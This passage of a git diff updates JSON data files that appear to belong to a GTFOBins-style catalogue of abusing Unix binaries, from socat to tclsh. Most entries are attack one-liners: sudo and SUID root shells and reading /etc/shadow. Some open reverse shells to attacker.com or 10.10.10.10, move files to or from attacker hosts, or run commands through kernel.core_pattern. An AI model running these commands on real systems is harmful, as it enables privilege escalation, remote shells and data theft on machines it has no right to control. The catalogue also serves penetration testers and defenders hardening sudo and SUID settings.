"RHOST=attacker.com\nRPORT=12345\n./socat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/socket.json b/gtfo/data/socket.json new file mode 100644 index 0000000..0a09103 --- /dev/null +++ b/gtfo/data/socket.json @@ -0,0 +1,16 @@ +{ + "functions": { + "reverse-shell": [ + { + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "RHOST=attacker.com\nRPORT=12345\nsocket -qvp '/bin/sh -i' $RHOST $RPORT\n" + } + ], + "bind-shell": [ + { + "description": "Run `nc target.com 12345` on the attacker box to connect to the shell.", + "code": "LPORT=12345\nsocket -svp '/bin/sh -i' $LPORT\n" + } + ] + } +} diff --git a/gtfo/data/soelim.json b/gtfo/data/soelim.json index a589c29..b5f3418 100644 --- a/gtfo/data/soelim.json +++ b/gtfo/data/soelim.json @@ -1,20 +1,22 @@ { - "description": "The content is actually parsed and corrupted by the command, thus it may not be suitable for arbitrary files.", "functions": { "file-read": [ { - "code": "soelim \"[file]\"\n" + + "code": "LFILE=file_to_read\nsoelim \"$LFILE\"\n" } ], "suid": [ { - "code": "./soelim \"[file]\"\n" + + "code": "LFILE=file_to_read\n./soelim \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo soelim \"[file]\"\n" + + "code": "LFILE=file_to_read\nsudo soelim \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/softlimit.json b/gtfo/data/softlimit.json new file mode 100644 index 0000000..032bdb8 --- /dev/null +++ b/gtfo/data/softlimit.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "softlimit /bin/sh\n" + } + ], + "suid": [ + { + + "code": "./softlimit /bin/sh -p\n" + } + ], + "sudo": [ + { + + "code": "sudo softlimit /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/sort.json b/gtfo/data/sort.json index d88b883..65d1a1e 100644 --- a/gtfo/data/sort.json +++ b/gtfo/data/sort.json @@ -2,18 +2,27 @@ "functions": { "file-read": [ { - "code": "sort -m [file]\n" + "description": "", + "code": "LFILE=file_to_read\nsort -m \"$LFILE\"\n" + } + ], + "file-write": [ + { + "description": "", + "code": "LFILE=file_to_write\necho DATA | sort -o \"$LFILE\"\n" } ], "suid": [ { - "code": "./sort -m [file]\n" + "description": "", + "code": "LFILE=file_to_read\n./sort -m \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo sort -m [file]\n" + "description": "", + "code": "LFILE=file_to_read\nsudo sort -m \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/split.json b/gtfo/data/split.json index 630c035..0353884 100644 --- a/gtfo/data/split.json +++ b/gtfo/data/split.json @@ -2,17 +2,28 @@ "functions": { "file-read": [ { - "code": "TF=$(mktemp)\nsplit [file] $TF\ncat $TF*\n" + + "code": "LFILE=file_to_read\nTF=$(mktemp)\nsplit $LFILE $TF\ncat $TF*\n" + } + ], + "file-write": [ + { + "description": "Data will be written in the current directory in a file named `xaa` by default. The input file will be split in multiple smaller files unless the `-b` option is used, pick a value in MB big enough.", + "code": "TF=$(mktemp)\necho DATA >$TF\nsplit -b999m $TF\n" + }, + { + "description": "GNU version only. Data will be written in the current directory in a file named `xaa.xxx` by default. The input file will be split in multiple smaller files unless the `-b` option is used, pick a value in MB big enough.", + "code": "EXT=.xxx\nTF=$(mktemp)\necho DATA >$TF\nsplit -b999m --additional-suffix $EXTENSION $TF\n" } ], "command": [ { "description": "Command execution using an existing or newly created file.", - "code": "TF=$(mktemp)\nsplit --filter=[command] $TF\n" + "code": "COMMAND=id\nTF=$(mktemp)\nsplit --filter=$COMMAND $TF\n" }, { "description": "Command execution using stdin (and close it directly).", - "code": "echo | split --filter=[command] /dev/stdin\n" + "code": "COMMAND=id\necho | split --filter=$COMMAND /dev/stdin\n" } ], "shell": [ @@ -24,7 +35,7 @@ "sudo": [ { "description": "The shell prompt is not printed.", - "code": "split --filter=/bin/sh /dev/stdin\n" + "code": "sudo split --filter=/bin/sh /dev/stdin\n" } ] } diff --git a/gtfo/data/sqlite3.json b/gtfo/data/sqlite3.json index 613b261..8775174 100644 --- a/gtfo/data/sqlite3.json +++ b/gtfo/data/sqlite3.json @@ -2,32 +2,38 @@ "functions": { "shell": [ { - "code": "sqlite3 /dev/null '.shell /bin/sh'" + + "code": "sqlite3 /dev/null '.shell /bin/sh'\n" } ], "file-write": [ { - "code": "sqlite3 /dev/null -cmd \".output [file]\" 'select \"DATA\";'\n" + + "code": "LFILE=file_to_write\nsqlite3 /dev/null -cmd \".output $LFILE\" 'select \"DATA\";'\n" } ], "file-read": [ { - "code": "sqlite3 << EOF\nCREATE TABLE t(line TEXT);\n.import [file] t\nSELECT * FROM t;\nEOF\n" + + "code": "LFILE=file_to_read\nsqlite3 << EOF\nCREATE TABLE t(line TEXT);\n.import $LFILE t\nSELECT * FROM t;\nEOF\n" } ], "suid": [ { - "code": "sqlite3 << EOF\nCREATE TABLE t(line TEXT);\n.import [file] t\nSELECT * FROM t;\nEOF" + + "code": "LFILE=file_to_read\nsqlite3 << EOF\nCREATE TABLE t(line TEXT);\n.import $LFILE t\nSELECT * FROM t;\nEOF\n" } ], "sudo": [ { - "code": "sudo sqlite3 /dev/null '.shell /bin/sh'" + + "code": "sudo sqlite3 /dev/null '.shell /bin/sh'\n" } ], "limited-suid": [ { - "code": "./sqlite3 /dev/null '.shell /bin/sh'" + + "code": "./sqlite3 /dev/null '.shell /bin/sh'\n" } ] } diff --git a/gtfo/data/sqlmap.json b/gtfo/data/sqlmap.json new file mode 100644 index 0000000..f962e2f --- /dev/null +++ b/gtfo/data/sqlmap.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "sqlmap -u 127.0.0.1 --eval=\"import os; os.system('/bin/sh')\"\n" + } + ], + "sudo": [ + { + + "code": "sudo sqlmap -u 127.0.0.1 --eval=\"import os; os.system('/bin/sh')\"\n" + } + ] + } +} diff --git a/gtfo/data/ss.json b/gtfo/data/ss.json index f415114..302454b 100644 --- a/gtfo/data/ss.json +++ b/gtfo/data/ss.json @@ -1,19 +1,21 @@ { - "description": "The file content is actually parsed so only a part of the first line is returned as a part of an error message.\n", "functions": { "file-read": [ { - "code": "ss -a -F [file]\n" + + "code": "LFILE=file_to_read\nss -a -F $LFILE\n" } ], "suid": [ { - "code": "./ss -a -F [file]\n" + + "code": "LFILE=file_to_read\n./ss -a -F $LFILE\n" } ], "sudo": [ { - "code": "sudo ss -a -F [file]\n" + + "code": "LFILE=file_to_read\nsudo ss -a -F $LFILE\n" } ] } diff --git a/gtfo/data/ssh-agent.json b/gtfo/data/ssh-agent.json new file mode 100644 index 0000000..02b0ff2 --- /dev/null +++ b/gtfo/data/ssh-agent.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "ssh-agent /bin/sh\n" + } + ], + "suid": [ + { + + "code": "./ssh-agent /bin/ -p\n" + } + ], + "sudo": [ + { + + "code": "sudo ssh-agent /bin/\n" + } + ] + } +} diff --git a/gtfo/data/ssh-keygen.json b/gtfo/data/ssh-keygen.json index 94fc994..8b4791b 100644 --- a/gtfo/data/ssh-keygen.json +++ b/gtfo/data/ssh-keygen.json @@ -2,20 +2,20 @@ "functions": { "library-load": [ { - "description": "", - "code": "ssh-keygen -D ./lib.so" + + "code": "ssh-keygen -D ./lib.so\n" } ], "sudo": [ { - "description": "", - "code": "sudo ssh-keygen -D ./lib.so" + + "code": "sudo ssh-keygen -D ./lib.so\n" } ], "suid": [ { - "description": "", - "code": "./ssh-keygen -D ./lib.so" + + "code": "./ssh-keygen -D ./lib.so\n" } ] } diff --git a/gtfo/data/ssh-keyscan.json b/gtfo/data/ssh-keyscan.json new file mode 100644 index 0000000..69dfc84 --- /dev/null +++ b/gtfo/data/ssh-keyscan.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nssh-keyscan -f $LFILE\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./ssh-keyscan -f $LFILE\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo ssh-keyscan -f $LFILE\n" + } + ] + } +} diff --git a/gtfo/data/ssh.json b/gtfo/data/ssh.json index 428764d..5bd9966 100644 --- a/gtfo/data/ssh.json +++ b/gtfo/data/ssh.json @@ -3,36 +3,40 @@ "shell": [ { "description": "Reconnecting may help bypassing restricted shells.", - "code": "ssh localhost $SHELL --noprofile --norc" + "code": "ssh localhost $SHELL --noprofile --norc\n" }, { "description": "Spawn interactive shell through ProxyCommand option.", - "code": "ssh -o ProxyCommand=';sh 0<&2 1>&2' x" + "code": "ssh -o ProxyCommand=';sh 0<&2 1>&2' x\n" + }, + { + "description": "Spawn interactive shell on client, requires a successful connection towards `host`.", + "code": "ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host\n" } ], "file-upload": [ { "description": "Send local file to a SSH server.", - "code": "ssh [user@host] \"cat > [destination_file]\" < [source_file]\n" + "code": "HOST=user@attacker.com\nRPATH=file_to_save\nLPATH=file_to_send\nssh $HOST \"cat > $RPATH\" < $LPATH\n" } ], "file-download": [ { "description": "Fetch a remote file from a SSH server.", - "code": "ssh [user@host] \"cat [source_file]\" > [destination_file]\n" + "code": "HOST=user@attacker.com\nRPATH=file_to_get\nLPATH=file_to_save\nssh $HOST \"cat $RPATH\" > $LPATH\n" } ], "file-read": [ { "description": "The read file content is corrupted by error prints.", - "code": "ssh -F [file] localhost\n" + "code": "LFILE=file_to_read\nssh -F $LFILE localhost\n" } ], "sudo": [ { "description": "Spawn interactive root shell through ProxyCommand option.", - "code": "sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x" + "code": "sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/ssh_keyscan.json b/gtfo/data/ssh_keyscan.json deleted file mode 100644 index ea66cb6..0000000 --- a/gtfo/data/ssh_keyscan.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "description": "The file content is actually parsed so only a part of each line is returned as a part of an error message.\n", - "functions": { - "file-read": [ - { - "code": "ssh-keyscan -f [file]\n" - } - ], - "suid": [ - { - "code": "./ssh-keyscan -f [file]\n" - } - ], - "sudo": [ - { - "code": "sudo ssh-keyscan -f [file]\n" - } - ] - } -} diff --git a/gtfo/data/sshpass.json b/gtfo/data/sshpass.json new file mode 100644 index 0000000..56a8e89 --- /dev/null +++ b/gtfo/data/sshpass.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "sshpass /bin/sh\n" + } + ], + "suid": [ + { + + "code": "./sshpass /bin/sh -p\n" + } + ], + "sudo": [ + { + + "code": "sudo sshpass /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/sshuttle.json b/gtfo/data/sshuttle.json new file mode 100644 index 0000000..b0ff7b8 --- /dev/null +++ b/gtfo/data/sshuttle.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. The output of the executed command is in /tmp/root_id", + "code": "sudo sshuttle -r root@anything --ssh-cmd \"/bin/bash -c 'id>/tmp/root_id'\" 192.168.3.3\n" + } + ] + } +} diff --git a/gtfo/data/start-stop-daemon.json b/gtfo/data/start-stop-daemon.json index 9dfebb9..9aed633 100644 --- a/gtfo/data/start-stop-daemon.json +++ b/gtfo/data/start-stop-daemon.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { - "code": "start-stop-daemon -n $RANDOM -S -x /bin/sh" + + "code": "start-stop-daemon -n $RANDOM -S -x /bin/sh\n" } ], "suid": [ { - "code": "./start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p" + + "code": "./start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p\n" } ], "sudo": [ { - "code": "sudo start-stop-daemon -n $RANDOM -S -x /bin/sh" + + "code": "sudo start-stop-daemon -n $RANDOM -S -x /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/stdbuf.json b/gtfo/data/stdbuf.json index c97e996..f081339 100644 --- a/gtfo/data/stdbuf.json +++ b/gtfo/data/stdbuf.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { - "code": "stdbuf -i0 /bin/sh" + + "code": "stdbuf -i0 /bin/sh\n" } ], "suid": [ { - "code": "./stdbuf -i0 /bin/sh -p" + + "code": "./stdbuf -i0 /bin/sh -p\n" } ], "sudo": [ { - "code": "sudo stdbuf -i0 /bin/sh" + + "code": "sudo stdbuf -i0 /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/strace.json b/gtfo/data/strace.json index 9180c5f..a334648 100644 --- a/gtfo/data/strace.json +++ b/gtfo/data/strace.json @@ -2,23 +2,26 @@ "functions": { "file-write": [ { - "description": "The data to be written appears amid the syscall log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever syscall passing arbitrary data can be used in place of 'strace - [data]'.", - "code": "strace -s 999 -o [file] strace - [data]\n" + "description": "The data to be written appears amid the syscall log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever syscall passing arbitrary data can be used in place of `strace - DATA`.", + "code": "LFILE=file_to_write\nstrace -s 999 -o $LFILE strace - DATA\n" } ], "shell": [ { - "code": "strace -o /dev/null /bin/sh" + + "code": "strace -o /dev/null /bin/sh\n" } ], "suid": [ { - "code": "./strace -o /dev/null /bin/sh -p" + + "code": "./strace -o /dev/null /bin/sh -p\n" } ], "sudo": [ { - "code": "sudo strace -o /dev/null /bin/sh" + + "code": "sudo strace -o /dev/null /bin/sh\n" } ] } diff --git a/gtfo/data/strings.json b/gtfo/data/strings.json index 87fe9de..8fe21fc 100644 --- a/gtfo/data/strings.json +++ b/gtfo/data/strings.json @@ -1,20 +1,22 @@ { - "description": "This only returns ASCII strings, thus it is not suitable for binary files.", "functions": { "file-read": [ { - "code": "strings \"[file]\"\n" + + "code": "LFILE=file_to_read\nstrings \"$LFILE\"\n" } ], "suid": [ { - "code": "./strings \"[file]\"\n" + + "code": "LFILE=file_to_read\n./strings \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo strings \"[file]\"\n" + + "code": "LFILE=file_to_read\nsudo strings \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/su.json b/gtfo/data/su.json index 0adcb70..f17639d 100644 --- a/gtfo/data/su.json +++ b/gtfo/data/su.json @@ -2,8 +2,9 @@ "functions": { "sudo": [ { - "code": "sudo su" + + "code": "sudo su\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/sudo.json b/gtfo/data/sudo.json new file mode 100644 index 0000000..d0feae1 --- /dev/null +++ b/gtfo/data/sudo.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + + "code": "sudo sudo /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/svn.json b/gtfo/data/svn.json new file mode 100644 index 0000000..4c90c44 --- /dev/null +++ b/gtfo/data/svn.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "", + "code": "TD=$(mktemp -d)\nsvnadmin create $TD/pwn\nsvn checkout file:///$TD/pwn $TD/project\necho -e '#!/bin/bash\\n/bin/sh' > $TD/shell\nchmod +x $TD/shell\nsudo svn diff --diff-cmd \"$TD/shell\"\n" + } + ] + } +} diff --git a/gtfo/data/sysctl.json b/gtfo/data/sysctl.json index ac4fe27..ec9ad6b 100644 --- a/gtfo/data/sysctl.json +++ b/gtfo/data/sysctl.json @@ -1,20 +1,28 @@ { - "description": "The '-p' argument can also be used in place of '-n'. In both cases though the output might get corrupted, so this might not be suitable to read binary files.", "functions": { + "command": [ + { + "description": "The command is executed by root in the background when a core dump occurs.", + "code": "COMMAND='/bin/sh -c id>/tmp/id'\nsysctl \"kernel.core_pattern=|$COMMAND\"\nsleep 9999 &\nkill -QUIT $!\ncat /tmp/id\n" + } + ], "file-read": [ { - "code": "/usr/sbin/sysctl -n \"/../../[file]\"\n" + "description": "The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.", + "code": "LFILE=file_to_read\n/usr/sbin/sysctl -n \"/../../$LFILE\"\n" } ], "suid": [ { - "code": "./sysctl -n \"/../../[file]\"\n" + + "code": "COMMAND='/bin/sh -c id>/tmp/id'\n./sysctl \"kernel.core_pattern=|$COMMAND\"\nsleep 9999 &\nkill -QUIT $!\ncat /tmp/id\n" } ], "sudo": [ { - "code": "sudo sysctl -n \"/../../[file]\"\n" + + "code": "COMMAND='/bin/sh -c id>/tmp/id'\nsudo sysctl \"kernel.core_pattern=|$COMMAND\"\nsleep 9999 &\nkill -QUIT $!\ncat /tmp/id\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/systemctl.json b/gtfo/data/systemctl.json index 3108f79..74d12fe 100644 --- a/gtfo/data/systemctl.json +++ b/gtfo/data/systemctl.json @@ -2,20 +2,23 @@ "functions": { "suid": [ { - "code": "TF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"[command] > /tmp/output\"\n[Install]\nWantedBy=multi-user.target' > $TF\n./systemctl link $TF\n./systemctl enable --now $TF\n" + + "code": "TF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"id > /tmp/output\"\n[Install]\nWantedBy=multi-user.target' > $TF\n./systemctl link $TF\n./systemctl enable --now $TF\n" } ], "sudo": [ { + "code": "TF=$(mktemp)\necho /bin/sh >$TF\nchmod +x $TF\nsudo SYSTEMD_EDITOR=$TF systemctl edit system.slice\n" }, { - "code": "TF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"[command] > /tmp/output\"\n[Install]\nWantedBy=multi-user.target' > $TF\nsudo systemctl link $TF\nsudo systemctl enable --now $TF\n" + + "code": "TF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"id > /tmp/output\"\n[Install]\nWantedBy=multi-user.target' > $TF\nsudo systemctl link $TF\nsudo systemctl enable --now $TF\n" }, { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "sudo systemctl\n!sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/systemd-resolve.json b/gtfo/data/systemd-resolve.json new file mode 100644 index 0000000..a40ff72 --- /dev/null +++ b/gtfo/data/systemd-resolve.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", + "code": "sudo systemd-resolve --status\n!sh\n" + } + ] + } +} diff --git a/gtfo/data/systemd-run.json b/gtfo/data/systemd-run.json new file mode 100644 index 0000000..80f3058 --- /dev/null +++ b/gtfo/data/systemd-run.json @@ -0,0 +1,60 @@ +{ + "functions": { + "shell": [ + { + "description": "Run an interactive shell using the user's default shell. The `-S` or `--shell` option can be used to invoke the default shell interactively.", + "code": "systemd-run -S\n" + }, + { + "description": "Run a shell using a pseudo-terminal (PTY). The `-t` or `--pty` option can be used to run the service on a pseudo-TTY as STDIN/STDOUT/STDERR.", + "code": "systemd-run --pty /bin/sh\n" + } + ], + "command": [ + { + "description": "Execute a specific command and redirect the output to a file. In this case, the command runs `id` and saves the result to `/tmp/id`.", + "code": "systemd-run /bin/bash -c \"/bin/id > /tmp/id\"\n" + } + ], + "reverse-shell": [ + { + "description": "Run a reverse shell to a remote machine. The reverse shell connects to the specified IP and port. Since `systemd-run` does not handle exported environment variables, the IP address and port must be specified directly in the command. Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "systemd-run /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1'\n" + } + ], + "file-upload": [ + { + "description": "Serve files from the local directory over HTTP. This requires Python to be installed. The command starts a Python HTTP server on port 8888.", + "code": "systemd-run python3 -m http.server 8888\n" + } + ], + "file-download": [ + { + "description": "Download a file from a remote server via HTTP. The file is saved to `/tmp/file_to_save` using `curl`.", + "code": "systemd-run /bin/sh -c 'curl -o /tmp/file_to_save http://attacker.com/file_to_get'\n" + } + ], + "sudo": [ + { + "description": "Gain an interactive shell as root using `sudo` and `systemd-run`. The `-S` option invokes the shell.", + "code": "sudo systemd-run -S\n" + }, + { + "description": "Gain a root shell using `sudo` and `systemd-run` with a pseudo-terminal (PTY).", + "code": "sudo systemd-run --pty /bin/sh\n" + } + ], + "file-read": [ + { + "description": "Read the contents of a file and redirect the output to another file. In this example, the contents of `/etc/passwd` are copied to `/tmp/passwd`.", + "code": "systemd-run /bin/sh -c \"/bin/cat /etc/passwd > /tmp/passwd\"\n" + } + ], + "file-write": [ + { + "description": "Write data to a specific file. The filename should be absolute. In this example, the string \"DATA\" is written to `/tmp/file`.", + "code": "systemd-run /bin/sh -c 'echo \"DATA\" > /tmp/file'\n" + } + ] + } +} diff --git a/gtfo/data/tac.json b/gtfo/data/tac.json index 2d79218..89a2482 100644 --- a/gtfo/data/tac.json +++ b/gtfo/data/tac.json @@ -1,20 +1,22 @@ { - "description": "Make sure that 'RANDOM' does not appear into the file to read otherwise the content of the file is corrupted by reversing the order of 'RANDOM'-separated chunks.", "functions": { "file-read": [ { - "code": "tac -s 'RANDOM' \"[file]\"\n" + + "code": "LFILE=file_to_read\ntac -s 'RANDOM' \"$LFILE\"\n" } ], "suid": [ { - "code": "./tac -s 'RANDOM' \"[file]\"\n" + + "code": "LFILE=file_to_read\n./tac -s 'RANDOM' \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo tac -s 'RANDOM' \"[file]\"\n" + + "code": "LFILE=file_to_read\nsudo tac -s 'RANDOM' \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/tail.json b/gtfo/data/tail.json index eb15d07..0c4c56a 100644 --- a/gtfo/data/tail.json +++ b/gtfo/data/tail.json @@ -2,18 +2,21 @@ "functions": { "file-read": [ { - "code": "tail -c1G [file]\n" + + "code": "LFILE=file_to_read\ntail -c1G \"$LFILE\"\n" } ], "suid": [ { - "code": "./tail -c1G [file]\n" + + "code": "LFILE=file_to_read\n./tail -c1G \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo tail -c1G [file]\n" + + "code": "LFILE=file_to_read\nsudo tail -c1G \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/tailscale.json b/gtfo/data/tailscale.json new file mode 100644 index 0000000..d4f9872 --- /dev/null +++ b/gtfo/data/tailscale.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "If the user can run `/usr/bin/tailscale` as root via `sudo`, they can serve and read any file\naccessible by root. The file becomes reachable via a Tailscale-assigned domain over HTTP.\n\nExample `sudoers` entry:\n```\nray ALL=(ALL) NOPASSWD: /usr/bin/tailscale\n```\n\nExample exploitation:\n```\nsudo tailscale serve --http=8888 /etc/shadow\ncurl http://..ts.net:8888/\n```\n", + "code": "sudo tailscale serve --http=8888 /etc/shadow\ncurl http://..ts.net:8888/\n" + } + ] + } +} diff --git a/gtfo/data/tar.json b/gtfo/data/tar.json index 0914359..335d372 100644 --- a/gtfo/data/tar.json +++ b/gtfo/data/tar.json @@ -2,11 +2,12 @@ "functions": { "shell": [ { - "code": "tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh" + + "code": "tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh\n" }, { "description": "This only works for GNU tar.", - "code": "tar xf /dev/null -I '/bin/sh -c \"sh <&2 1>&2\"'" + "code": "tar xf /dev/null -I '/bin/sh -c \"sh <&2 1>&2\"'\n" }, { "description": "This only works for GNU tar. It can be useful when only a limited command argument injection is available.", @@ -15,37 +16,39 @@ ], "file-upload": [ { - "description": "This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the 'rmt' utility installed (it should be present by default in Debian-like distributions).", - "code": "tar cvf [user@host]:[destination_file] [source_file] --rsh-command=/bin/ssh\n" + "description": "This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions).", + "code": "RHOST=attacker.com\nRUSER=root\nRFILE=/tmp/file_to_send.tar\nLFILE=file_to_send\ntar cvf $RUSER@$RHOST:$RFILE $LFILE --rsh-command=/bin/ssh\n" } ], "file-download": [ { - "description": "This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the 'rmt' utility installed (it should be present by default in Debian-like distributions).", - "code": "tar xvf [user@host]:[file] --rsh-command=/bin/ssh\n" + "description": "This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions).", + "code": "RHOST=attacker.com\nRUSER=root\nRFILE=/tmp/file_to_get.tar\ntar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh\n" } ], "file-write": [ { "description": "This only works for GNU tar.", - "code": "TF=$(mktemp)\necho DATA > \"$TF\"\ntar c --xform \"s@.*@[file]@\" -OP \"$TF\" | tar x -P\n" + "code": "LFILE=file_to_write\nTF=$(mktemp)\necho DATA > \"$TF\"\ntar c --xform \"s@.*@$LFILE@\" -OP \"$TF\" | tar x -P\n" } ], "file-read": [ { "description": "This only works for GNU tar.", - "code": "tar xf [file] -I '/bin/sh -c \"cat 1>&2\"'\n" + "code": "LFILE=file_to_read\ntar xf \"$LFILE\" -I '/bin/sh -c \"cat 1>&2\"'\n" } ], "sudo": [ { - "code": "sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh" + + "code": "sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh\n" } ], "limited-suid": [ { - "code": "./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh" + + "code": "./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/task.json b/gtfo/data/task.json new file mode 100644 index 0000000..c21380c --- /dev/null +++ b/gtfo/data/task.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "task execute /bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo task execute /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/taskset.json b/gtfo/data/taskset.json index 9d15526..c36640e 100644 --- a/gtfo/data/taskset.json +++ b/gtfo/data/taskset.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { - "code": "taskset 1 /bin/sh" + + "code": "taskset 1 /bin/sh\n" } ], "suid": [ { - "code": "./taskset 1 /bin/sh -p" + + "code": "./taskset 1 /bin/sh -p\n" } ], "sudo": [ { - "code": "sudo taskset 1 /bin/sh" + + "code": "sudo taskset 1 /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/tasksh.json b/gtfo/data/tasksh.json new file mode 100644 index 0000000..481e742 --- /dev/null +++ b/gtfo/data/tasksh.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "tasksh\n!/bin/sh\n" + } + ], + "limited-suid": [ + { + + "code": "./tasksh\n!/bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo tasksh\n!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/tbl.json b/gtfo/data/tbl.json index 1d904e5..38fc840 100644 --- a/gtfo/data/tbl.json +++ b/gtfo/data/tbl.json @@ -1,19 +1,21 @@ { - "description": "The read file content is corrupted by additional text at the beginning.\n", "functions": { "file-read": [ { - "code": "tbl [file]\n" + + "code": "LFILE=file_to_read\ntbl $LFILE\n" } ], "suid": [ { - "code": "./tbl [file]\n" + + "code": "LFILE=file_to_read\n./tbl $LFILE\n" } ], "sudo": [ { - "code": "sudo tbl [file]\n" + + "code": "LFILE=file_to_read\nsudo tbl $LFILE\n" } ] } diff --git a/gtfo/data/tclsh.json b/gtfo/data/tclsh.json index ed944a1..69113e8 100644 --- a/gtfo/data/tclsh.json +++ b/gtfo/data/tclsh.json @@ -2,24 +2,29 @@ "functions": { "shell": [ { - "code": "tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr\n" + "code": "tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr" } ], "non-interactive-reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "echo 'set s [socket \"[host]\" [port]];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\necho 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh" } ], "suid": [ { - "code": "./tclsh\nexec /bin/sh -p <@stdin >@stdout 2>@stderr\n" + "code": "./tclsh\nexec /bin/sh -p <@stdin >@stdout 2>@stderr" } ], "sudo": [ { - "code": "sudo tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr\n" + "code": "sudo tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr" + } + ], + "capabilities": [ + { + "code": "echo -e '#include \\n#include \\nint SetUidCmd(ClientData, Tcl_Interp *interp, int, const char **) { return setuid(0) == -1 ? (Tcl_SetResult(interp, \"Failed to set UID\", TCL_STATIC), TCL_ERROR) : 